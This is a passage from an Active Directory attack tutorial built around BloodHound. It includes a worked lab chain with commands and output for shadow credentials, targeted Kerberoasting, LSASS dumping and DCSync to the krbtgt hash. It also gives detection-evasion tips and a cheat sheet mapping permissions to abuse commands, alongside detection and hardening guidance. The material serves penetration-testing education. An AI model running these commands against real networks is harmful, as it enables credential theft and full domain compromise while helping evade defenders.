# Certipy does the whole dance: add key cred, PKINIT auth, retrieve NT hashcertipy shadow auto -u jsmith@corp.local -p 'Summer2026!' -account svc_web -dc-ip 10.10.10.10# ...# [*] Got hash for 'svc_web@corp.local': aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99You now have svc_web’s NT hash → pass-the-hash to the next node. This is why GenericAll/GenericWrite/AddKeyCredentialLink are the edges attackers love: they’re reversible, quiet, and don’t disrupt the user.
flowchart LR
E1["ForceChangePassword"] --> A1["net rpc password"] --> R1["Own the user (noisy)"]
E2["GenericWrite on user"] --> A2["set SPN + Kerberoast"] --> R2["Crack offline (quiet)"]
E3["AddKeyCredentialLink"] --> A3["Certipy shadow auto"] --> R3["NT hash via PKINIT (quiet)"]
Part 10: Handling Big, Messy, Real Graphs
Section titled “Part 10: Handling Big, Messy, Real Graphs”Lab domains have 1,000 nodes. A Fortune 500 has millions of edges, and a naive “shortest path to DA” can return a hairball you cannot read or a query that times out. Real tradecraft is as much about reducing the graph as querying it.
- Mark ownership aggressively. Every credential you get, mark the node owned. Then query only from the owned frontier (Part 8, query 10). This collapses “all paths in the domain” into “paths I can actually walk.”
- Filter to enabled, non-stale principals. Add
WHERE u.enabled = trueand checklastlogon/pwdlastset; a path through a disabled or long-dead account is a dead end that clutters results. - Prefer path length and edge quietness over raw shortest path. A 2-hop path through
ForceChangePasswordmay be louder than a 4-hop path throughGenericWrite+Kerberoast. Sort by hops but choose by OPSEC. - Use
allShortestPathssparingly on huge graphs — it’s expensive. Pin endpoints ({name:...}) rather than scanning all users. - Set a query timeout and
LIMIT. Neo4j’sdbms.transaction.timeout; alwaysLIMITexploratory queries so a bad pattern doesn’t hang the browser. - Increase Neo4j heap for large imports. In
neo4j.conf, raiseserver.memory.heap.max_size(e.g.4G) andserver.memory.pagecache.size; default heap chokes on multi-hundred-MB ZIPs. - Collect incrementally.
DCOnlyfirst (cheap, fast, ACL-rich), then targetedSession -stealthonly at the specific hosts your candidate path needs — never-c Allacross a 15,000-host estate on the first pass.
Common failure modes and fixes:
| Symptom | Likely cause | Fix |
|---|---|---|
| Graph imports 0 nodes | Collector/UI version mismatch | Match SharpHound v2 ↔ CE; re-collect |
Found 0 computers (bloodhound-python) | Wrong -ns / DNS can’t resolve host records | Point -ns at the DC IP; add --dns-tcp through tunnels |
No HasSession edges | You ran DCOnly (by design) or KB5008383 hardening | Run targeted Session; expect fewer sessions on patched DCs |
No AdminTo edges | SAMR blocked / not admin on hosts | Rely on GPOLocalGroup (LDAP-derived) instead |
| Query hangs forever | Unbounded [*] on huge graph | Pin endpoints, add LIMIT, raise heap |
| ADCS/ESC edges missing | Old collector or -c without CertServices | Use current SharpHound/Certipy; collect CertServices |
Part 11: Detection & Defense Angle (Consolidated)
Section titled “Part 11: Detection & Defense Angle (Consolidated)”BloodHound collection is observable — the whole point of this section is that the same graph model that helps attackers is a gift to defenders, and the collection itself is one of the more detectable actions in an AD kill chain. This is where blue, purple, and OPSEC-aware red all meet.
Detecting collection
Section titled “Detecting collection”- LDAP reconnaissance signature. SharpHound/bloodhound-python issue a burst of LDAP searches that enumerate essentially every object class and read security descriptors. On the DC, Directory Service Access auditing (Event ID 4662) fires for object-access, and with SACLs on sensitive objects you can catch reads of the domain head’s ACL. A single account reading the entire directory (all users, groups, computers, GPOs, and their DACLs) within seconds is high-signal — Microsoft Defender for Identity and many EDRs ship a dedicated “AD attributes reconnaissance / BloodHound-style enumeration” alert keyed on exactly this LDAP pattern.
- Session/host fan-out. The loud
Session/LocalAdminmethods produce thousands of SMB (445) connections and SAMR/SRVSVC RPC calls fanning out from one source to every host in minutes. Network sensors (Zeek) and EDR see one workstation suddenly touching the whole estate — an anomaly no normal user produces. Event ID 5145 (network share object checked) and RPC telemetry light up. - Honey signals. A honey user with an SPN (fake Kerberoastable account) or a decoy object with a tempting ACL, wired to alert on any access, catches collection and abuse cheaply. If anything ever queries or roasts the honey account, you have an intruder — false-positive rate near zero.
Detecting the abuse that follows
Section titled “Detecting the abuse that follows”| Attack the graph reveals | Windows telemetry to alert on |
|---|---|
Kerberoast (hasspn) | 4769 TGS requests with RC4 (0x17) encryption, many SPNs from one host |
ASREP-roast (dontreqpreauth) | 4768 AS-REQ without pre-auth |
| DCSync | 4662 with replication GUIDs (GetChanges/GetChangesAll) from a non-DC source |
Password reset (ForceChangePassword) | 4724 / 4738 account-change events |
| Shadow Credentials | 5136 modify of msDS-KeyCredentialLink; 4768 PKINIT logon |
| RBCD | 5136 modify of msDS-AllowedToActOnBehalfOfOtherIdentity |
Defending with the graph (the real fix)
Section titled “Defending with the graph (the real fix)”Detection buys time; cutting edges is the cure. BloodHound Enterprise exists to do this continuously, but you can do it with CE and Cypher:
- Find and remove the choke points. Query for the edges that the most paths traverse (high-betweenness nodes). Removing one over-permissioned group can sever thousands of paths — far cheaper than fixing every node.
- Enforce tiering. Query 8 (DAs with sessions on Tier-2 boxes) surfaces the #1 real-world sin: Domain Admins logging into workstations, seeding credentials for theft. Fix with a tiered admin model and Authentication Silos / Protected Users.
- Prune ACLs.
GenericAll/WriteDacl/WriteOwnerheld by non-admins are almost always over-delegation from a forgotten project. Enumerate and revoke. - Kill the legacy stuff. Unconstrained delegation on anything but a DC; RC4-only service accounts;
dontreqpreauth;msDS-KeyCredentialLinkwrites by non-admins. - LAPS everywhere.
AdminTosprawl from a shared local admin password collapses the moment every machine has a unique, rotated LAPS password.
flowchart TD
C[SharpHound / bloodhound-python collection] --> D1[4662 dir-access burst]
C --> D2[SMB/RPC fan-out to all hosts]
D1 --> A1[MDI / EDR recon alert]
D2 --> A2[Zeek/EDR anomaly: one host, whole estate]
A1 --> R[Investigate source account]
A2 --> R
R --> F[Defenders run same Cypher: cut choke-point edge]
F --> G[Thousands of attack paths severed at once]
Part 12: Building the Lab
Section titled “Part 12: Building the Lab”You cannot practice BloodHound safely on anything but your own domain. Build a tiny AD lab, populate it with deliberately vulnerable relationships, and attack it end to end.
Minimum lab:
- DC01 — Windows Server (2019/2022), promote to a domain controller for
corp.local. - WS01 — a domain-joined Windows 10/11 workstation (for
HasSession/AdminTopractice). - Kali — your attacker box with
bloodhound-python, Impacket, Certipy,netexec.
Seed vulnerable edges (PowerShell on DC01, as domain admin — you are building targets):
# A low-priv user you'll start fromNew-ADUser -Name "jsmith" -SamAccountName jsmith -AccountPassword (ConvertTo-SecureString 'Summer2026!' -AsPlainText -Force) -Enabled $true
# A Kerberoastable service account (SPN + weak password)New-ADUser -Name "svc_report" -SamAccountName svc_report -AccountPassword (ConvertTo-SecureString 'Password1' -AsPlainText -Force) -Enabled $truesetspn -a HTTP/report.corp.local svc_report
# Give jsmith GenericAll over svc_report (an ACL edge to abuse)$acl = Get-Acl "AD:$((Get-ADUser svc_report).DistinguishedName)"$sid = (Get-ADUser jsmith).SID$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid,'GenericAll','Allow')$acl.AddAccessRule($rule); Set-Acl "AD:$((Get-ADUser svc_report).DistinguishedName)" $acl
# Put svc_report in a group that is AdminTo WS01, and log a DA into WS01 to seed a sessionAdd-ADGroupMember "Administrators" svc_reportNow you have a deliberate path: jsmith -[GenericAll]-> svc_report -[MemberOf]-> Administrators -[AdminTo]-> WS01 -[HasSession]-> Domain Admin. Collect it, see it, walk it. To go further, the fastest turnkey option is GOAD (Game of Active Directory) or the vulnerable-AD scripts, which auto-provision a rich, multi-domain, edge-dense forest purpose-built for BloodHound practice.
Part 13: Fully Worked Lab — One Credential to a Mapped Path to Domain Admin
Section titled “Part 13: Fully Worked Lab — One Credential to a Mapped Path to Domain Admin”Here is the entire flow against the lab above, from a single low-priv credential on Kali to a rendered Domain Admin path and a working DA-equivalent primitive. Every command and its realistic output.
Starting position: you have corp.local\jsmith:Summer2026! (from Responder, a password spray, or the client). You are on Kali at 10.10.14.5; the DC is 10.10.10.10.
Step 1 — Validate the credential and get situational awareness
Section titled “Step 1 — Validate the credential and get situational awareness”netexec smb 10.10.10.10 -u jsmith -p 'Summer2026!'SMB 10.10.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)SMB 10.10.10.10 445 DC01 [+] corp.local\jsmith:Summer2026!Step 2 — Collect the graph (quiet first)
Section titled “Step 2 — Collect the graph (quiet first)”bloodhound-python -u jsmith -p 'Summer2026!' -d corp.local -ns 10.10.10.10 -c DCOnly --zipINFO: Found AD domain: corp.localINFO: Connecting to LDAP server: dc01.corp.localINFO: Found 217 computersINFO: Found 1043 usersINFO: Found 51 groupsINFO: Compressing output into 20260101093012_bloodhound.zipStep 3 — Load into BloodHound CE and verify
Section titled “Step 3 — Load into BloodHound CE and verify”Upload the ZIP in the CE UI (Administration → File Ingest), then confirm nodes landed:
MATCH (n) RETURN labels(n)[1] AS t, count(*) ORDER BY 2 DESCUser 1043Computer 217Group 51...Step 4 — Mark jsmith owned, find the path
Section titled “Step 4 — Mark jsmith owned, find the path”Right-click JSMITH@CORP.LOCAL → Mark as Owned. Then:
MATCH p = shortestPath((u:User {name:'JSMITH@CORP.LOCAL'})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))RETURN pThe graph renders:
JSMITH --GenericAll--> SVC_REPORT --MemberOf--> ADMINISTRATORS --AdminTo--> WS01 --HasSession--> ADMINISTRATOR (Domain Admin)Step 5 — Abuse edge 1: GenericAll → Targeted Kerberoast svc_report
Section titled “Step 5 — Abuse edge 1: GenericAll → Targeted Kerberoast svc_report”targetedKerberoast.py -u jsmith -p 'Summer2026!' -d corp.local --dc-ip 10.10.10.10[*] Starting kerberoast attacks[*] Fetching usernames with write privileges from LDAP[+] Writing SPN to svc_report and requesting ticket$krb5tgs$23$*svc_report$CORP.LOCAL$...<hash>...[*] SPN removed successfully for svc_reporthashcat -m 13100 svc_report.txt /usr/share/wordlists/rockyou.txt --quiet$krb5tgs$23$*svc_report...:Password1svc_report’s password is Password1. Mark SVC_REPORT owned in the UI.
Step 6 — Abuse edge 2/3: svc_report is admin on WS01, where a DA has a session
Section titled “Step 6 — Abuse edge 2/3: svc_report is admin on WS01, where a DA has a session”svc_report is in Administrators (AdminTo WS01). Dump WS01’s LSASS to grab the DA’s credential material:
netexec smb 10.10.10.30 -u svc_report -p 'Password1' -M lsassyLSASSY 10.10.10.30 CORP\Administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0That Administrator is a Domain Admin whose session was on WS01. You now hold a DA NT hash.
Step 7 — Prove domain dominance with DCSync
Section titled “Step 7 — Prove domain dominance with DCSync”secretsdump.py corp.local/Administrator@10.10.10.10 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc-user krbtgt[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c4... <- krbtgt hash = Golden Ticket capabilityYou went from one low-priv credential to the krbtgt hash — total domain compromise — and every hop was a BloodHound edge you read first, then walked. That is the entire discipline: the graph told you exactly which three edges out of thousands mattered, and in what order.
sequenceDiagram
participant K as Kali (jsmith cred)
participant DC as DC01
participant BH as BloodHound CE
participant WS as WS01
K->>DC: bloodhound-python -c DCOnly
DC-->>K: JSON graph
K->>BH: upload + shortestPath query
BH-->>K: JSMITH to svc_report to Admins to WS01 to DA
K->>DC: targetedKerberoast svc_report
DC-->>K: TGS hash to crack to Password1
K->>WS: lsassy as svc_report (AdminTo)
WS-->>K: DA NT hash (from session)
K->>DC: secretsdump DCSync
DC-->>K: krbtgt hash to domain owned
Part 14: OPSEC Discipline for Collection
Section titled “Part 14: OPSEC Discipline for Collection”Because collection is the loudest, most detectable action in this whole workflow, treat it with the same care you’d give a payload.
- Default to
DCOnly. No host fan-out, LDAP only, ACL-rich. Escalate toSession/Allonly when a specific path demands it. - Throttle and jitter (
--throttle 1000 --jitter 30) so the LDAP burst doesn’t look like a scanner’s metronome. - Randomise filenames (
--randomfilenames) to defeat trivial*_BloodHound.zipdetections, and stage the ZIP somewhere non-obvious (C:\Windows\Temp, not the Desktop). - Collect from a plausible host. An LDAP recon burst from a server an admin uses is less anomalous than from a random workstation that never queries the directory.
- Prefer in-memory (
SharpHound.ps1reflective load) to avoid dropping a flagged binary — but know AMSI/EDR may catch the script; obfuscation is an arms race, keep it lab-scoped. - Clean up. Delete the ZIP from the target after exfil; if you set a temporary SPN or reset a password, revert it (targetedKerberoast auto-removes its SPN; note anything you can’t cleanly undo).
- Time it. Collecting during business hours hides in normal LDAP noise better than a 3 a.m. burst that stands alone in the logs.
Part 15: Final Revision / Summary
Section titled “Part 15: Final Revision / Summary”- AD is a directed graph. Nodes are principals/objects; edges are attack-meaningful permissions. Compromise is a path, and BloodHound computes it.
- Collection ≠ analysis. Collectors (SharpHound, bloodhound-python, RustHound) touch the domain and are loud; the graph DB and UI are offline and silent. All your risk is in collection.
-c DCOnlyis the professional default: LDAP-only, ACL-rich, no host fan-out. Escalate toSession/Allonly for a specific path.- Match collector version to UI version or the graph imports empty — verify with a
MATCH (n) RETURN count(*)before anything else. - Know your edges cold.
GenericAll/GenericWrite/WriteDacl/WriteOwner/ForceChangePassword/AddKeyCredentialLink/AllowedToDelegate/DCSynceach map to a specific abuse primitive. Reading the edge tells you the command. - Prefer quiet, reversible edges (Shadow Credentials, Targeted Kerberoast) over disruptive ones (password reset).
- Cypher is the scalpel. Mark owned nodes, query the owned frontier, filter to enabled principals, sort by hops but choose by OPSEC.
- Detection is real: LDAP recon bursts (4662), host fan-out (5145/RPC), and abuse-specific events (4769 Kerberoast, 4662 DCSync, 5136 Shadow Creds/RBCD). Honey users catch it cheaply.
- Defenders use the same graph to cut choke-point edges — the only durable fix.
Part 16: Cheat Sheet / Quick Reference
Section titled “Part 16: Cheat Sheet / Quick Reference”Collect (Windows / SharpHound):
.\SharpHound.exe -c DCOnly --randomfilenames --outputdirectory C:\Windows\Temp\ # quiet.\SharpHound.exe -c All --zipfilename full # everythingInvoke-BloodHound -CollectionMethod DCOnly -OutputDirectory C:\Windows\Temp\ # in-memoryCollect (Linux / bloodhound-python):
bloodhound-python -u USER -p 'PASS' -d corp.local -ns DC_IP -c DCOnly --zipbloodhound-python -u USER --hashes :NTHASH -d corp.local -ns DC_IP -c All --zip # PtHproxychains -q bloodhound-python -u USER -p 'PASS' -d corp.local -ns DC_IP --dns-tcp -c DCOnly --zipStand up CE:
curl -L https://ghst.ly/getbhce -o docker-compose.yml && docker compose up -ddocker compose logs bloodhound | grep -i "Initial Password"Essential Cypher:
MATCH (n) RETURN labels(n)[1], count(*) ORDER BY 2 DESC -- verify importMATCH p=shortestPath((u:User {name:'X@CORP.LOCAL'})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN pMATCH (u:User {hasspn:true, enabled:true}) RETURN u.name -- KerberoastableMATCH (u:User {dontreqpreauth:true}) RETURN u.name -- ASREP-roastableMATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN pMATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name -- unconstrained delegEdge → abuse quick map:
| Edge | Do this |
|---|---|
GenericAll/GenericWrite (user) | Targeted Kerberoast or Shadow Credentials (Certipy) |
WriteDacl/WriteOwner | Grant self GenericAll, then above |
ForceChangePassword | net rpc password / bloodyAD (noisy) |
AddKeyCredentialLink | certipy shadow auto |
AddMember/AddSelf | Add self to the group |
AllowedToDelegate | S4U impersonation (getST) |
AddAllowedToAct | RBCD (rbcd.py + getST) |
AdminTo + HasSession | Dump LSASS (lsassy/nanodump), steal the session’s creds |
| DCSync rights | secretsdump -just-dc → krbtgt → Golden Ticket |
Part 17: Common Pitfalls
Section titled “Part 17: Common Pitfalls”- Empty graph after import → collector/UI version mismatch. Match SharpHound v2 ↔ CE; re-collect.
Found 0 computersin bloodhound-python → wrong-ns. It must be the DC’s IP so domain hostnames resolve; add--dns-tcpthrough tunnels.- Running
-c Allfirst on a big estate → thousands of host connections, instant EDR alert. AlwaysDCOnlyfirst. - Chasing the shortest path blindly → a 2-hop
ForceChangePasswordcan be far louder and more disruptive than a 4-hop Kerberoast path. Choose by OPSEC, not just length. - Forgetting to mark owned nodes → you re-derive paths by hand instead of letting “paths from owned” do it.
- Stale data → sessions are a point-in-time snapshot. A DA who was logged in an hour ago may be gone; re-collect
Session(or--loop) before betting a hop on it. - Ignoring
descriptionfields → cleartext passwords hide there constantly; always run the description query. - Leaving artifacts → the ZIP on the target and a temporary SPN you forgot to remove are both IOCs. Clean up.
- Assuming DCOnly sees sessions → it doesn’t, by design. No
HasSessionedges is expected, not a bug.
Part 18: Practice Labs & Resources
Section titled “Part 18: Practice Labs & Resources”Train the specific skill of this chapter — collect, read the graph, walk an edge — not generic AD:
- GOAD (Game of Active Directory) — the gold standard multi-domain vulnerable forest, purpose-built for BloodHound path practice. Deploy, collect, and find every intended path.
- TryHackMe — Attacktive Directory (Kerberoast/AS-REP + enum feeding BloodHound), Post-Exploitation Basics (explicitly walks BloodHound + Cypher), Breaching Active Directory, and the Throwback network for end-to-end pathing.
- HackTheBox — Forest, Sauna, Active, Blackfield, Cascade, Support, Return (all classic BloodHound-driven paths: AS-REP, DCSync, GenericAll, Shadow Credentials, LAPS). The Dante and Offshore pro labs for full-domain graph work.
- HTB Academy — Active Directory BloodHound module and Active Directory Enumeration & Attacks path (hands-on collection + Cypher).
- Certified: CRTP / CRTE (Altered Security) and OSCP/PEN-200 AD chapters — both lean heavily on BloodHound for the AD sets.
- The SpecterOps blog and BloodHound docs — the canonical edge/abuse reference; the “Cypher for Defenders” and “Attack Path Management” posts turn the same graph into a defensive workflow.
- Cypher practice: load any collection into Neo4j Browser (
http://localhost:7474) and rewrite each prebuilt query from memory until Cypher’sMATCH … WHERE … RETURNshape is automatic.
The next chapter continues the Active Directory attack notebook, moving from mapping the paths to systematically exploiting the Kerberos-specific edges this graph surfaces — Kerberoasting, AS-REP roasting, and delegation abuse — in full depth.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.